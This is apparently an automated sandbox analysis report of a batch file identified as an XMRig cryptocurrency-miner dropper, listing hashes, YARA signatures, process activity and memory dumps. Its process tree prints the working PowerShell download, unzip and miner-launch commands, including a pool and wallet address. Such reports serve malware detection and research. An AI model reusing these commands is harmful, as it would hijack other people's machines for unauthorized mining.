xmrig | 04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
0s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
22/12/2023, 10:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tesy - Copy (9).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

xmrig miner

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

XMRig Miner payload 5 IoCs

miner

resource	yara_rule
behavioral26/files/0x0007000000023162-58.dat	family_xmrig
behavioral26/files/0x0007000000023162-58.dat	xmrig
behavioral26/memory/4504-61-0x00007FF668160000-0x00007FF668C63000-memory.dmp	xmrig
behavioral26/memory/4504-64-0x00007FF668160000-0x00007FF668C63000-memory.dmp	xmrig
behavioral26/memory/4504-65-0x00007FF668160000-0x00007FF668C63000-memory.dmp	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1716	powershell.exe
1716	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1716	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 224 wrote to memory of 1716	224	cmd.exe	18
PID 224 wrote to memory of 1716	224	cmd.exe	18

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  PID:5000
- C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
  xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
  2⤵
  PID:4504

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0f6a3762a04bbb03336fb66a040afb97

SHA1
0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

SHA256
36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

SHA512
cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2nh512bf.cxv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

Filesize
69KB

MD5
57f90a622bb63609c4c3f02b3222d3c6

SHA1
760769091cd316ad69b370d8455ff1e154b8b990

SHA256
5498ee9c77a8aba529d810c05ac6384143fc7dedac2f7996baa81b7696726d17

SHA512
89f80d79a8255d92c73a5c9ed69ae1adbef037816def579f8ee5d9c01536b692f1efbfcef8a1962695ef1f5a0b5e0697117f7381ab8d4de997b5630b218ed81a

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

Filesize
57KB

MD5
38fad4d6b82dc5f0aacc21112cf845d2

SHA1
ec1962e0afccd642cd6a274674bc3a9dfc85c6b7

SHA256
4154220ad8fd2382078e65e8e3abe0ecaf3bf0e93422dedd1c7e4dd91bfaca2b

SHA512
142a6a91959c656b0e6384d7fbe9d6b7330f958e5b6777c8c5c0d3397483c67ccde505ee65dcff7e3a97b7e27acfc20225e011c409a33df5cf3822b75874fe84

Download Submit
memory/1716-16-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

Filesize
10.8MB

Download
memory/1716-12-0x000001685EAC0000-0x000001685EAD0000-memory.dmp

Filesize
64KB

Download
memory/1716-11-0x000001685EAC0000-0x000001685EAD0000-memory.dmp

Filesize
64KB

Download
memory/1716-10-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

Filesize
10.8MB

Download
memory/1716-9-0x000001685ED40000-0x000001685ED62000-memory.dmp

Filesize
136KB

Download
memory/4504-69-0x00007FF668160000-0x00007FF668C63000-memory.dmp

Filesize
11.0MB

Download
memory/4504-71-0x00007FF668160000-0x00007FF668C63000-memory.dmp

Filesize
11.0MB

Download
memory/4504-78-0x00007FF668160000-0x00007FF668C63000-memory.dmp

Filesize
11.0MB

Download
memory/4504-77-0x00007FF668160000-0x00007FF668C63000-memory.dmp

Filesize
11.0MB

Download
memory/4504-76-0x00007FF668160000-0x00007FF668C63000-memory.dmp

Filesize
11.0MB

Download
memory/4504-75-0x00007FF668160000-0x00007FF668C63000-memory.dmp

Filesize
11.0MB

Download
memory/4504-59-0x0000018C51F20000-0x0000018C51F40000-memory.dmp

Filesize
128KB

Download
memory/4504-74-0x00007FF668160000-0x00007FF668C63000-memory.dmp

Filesize
11.0MB

Download
memory/4504-60-0x0000018C51F90000-0x0000018C51FB0000-memory.dmp

Filesize
128KB

Download
memory/4504-61-0x00007FF668160000-0x00007FF668C63000-memory.dmp

Filesize
11.0MB

Download
memory/4504-63-0x0000018CE6220000-0x0000018CE6240000-memory.dmp

Filesize
128KB

Download
memory/4504-62-0x0000018CE6200000-0x0000018CE6220000-memory.dmp

Filesize
128KB

Download
memory/4504-64-0x00007FF668160000-0x00007FF668C63000-memory.dmp

Filesize
11.0MB

Download
memory/4504-65-0x00007FF668160000-0x00007FF668C63000-memory.dmp

Filesize
11.0MB

Download
memory/4504-66-0x00007FF668160000-0x00007FF668C63000-memory.dmp

Filesize
11.0MB

Download
memory/4504-68-0x0000018CE6220000-0x0000018CE6240000-memory.dmp

Filesize
128KB

Download
memory/4504-67-0x0000018CE6200000-0x0000018CE6220000-memory.dmp

Filesize
128KB

Download
memory/4504-73-0x00007FF668160000-0x00007FF668C63000-memory.dmp

Filesize
11.0MB

Download
memory/4504-70-0x00007FF668160000-0x00007FF668C63000-memory.dmp

Filesize
11.0MB

Download
memory/4504-72-0x00007FF668160000-0x00007FF668C63000-memory.dmp

Filesize
11.0MB

Download
memory/5000-31-0x000001E1C5B40000-0x000001E1C5B50000-memory.dmp

Filesize
64KB

Download
memory/5000-30-0x000001E1C5B40000-0x000001E1C5B50000-memory.dmp

Filesize
64KB

Download
memory/5000-29-0x000001E1C5B40000-0x000001E1C5B50000-memory.dmp

Filesize
64KB

Download
memory/5000-56-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

Filesize
10.8MB

Download
memory/5000-32-0x000001E1C5FE0000-0x000001E1C5FF2000-memory.dmp

Filesize
72KB

Download
memory/5000-33-0x000001E1C5FD0000-0x000001E1C5FDA000-memory.dmp

Filesize
40KB

Download
memory/5000-27-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

Filesize
10.8MB

Download